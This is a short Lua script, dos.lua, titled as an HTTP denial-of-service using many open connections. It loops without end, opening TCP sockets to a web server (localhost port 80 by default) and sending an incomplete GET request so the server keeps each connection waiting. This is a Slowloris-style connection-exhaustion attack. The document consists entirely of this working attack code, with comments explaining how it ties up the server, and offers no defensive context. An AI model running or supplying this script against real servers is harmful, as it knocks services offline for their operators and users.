luasocket http dos using many open connections

dos.lua

local host, port = "127.0.0.1", 80
local socket = require("socket")

while true do
  local tcp = assert(socket.tcp()) -- open a new tcp socket
  assert(tcp:connect(host, port)) -- connect
  tcp:send("GET / HTTP/1.0") -- start sending a request, but incomplete, so server waits for more
end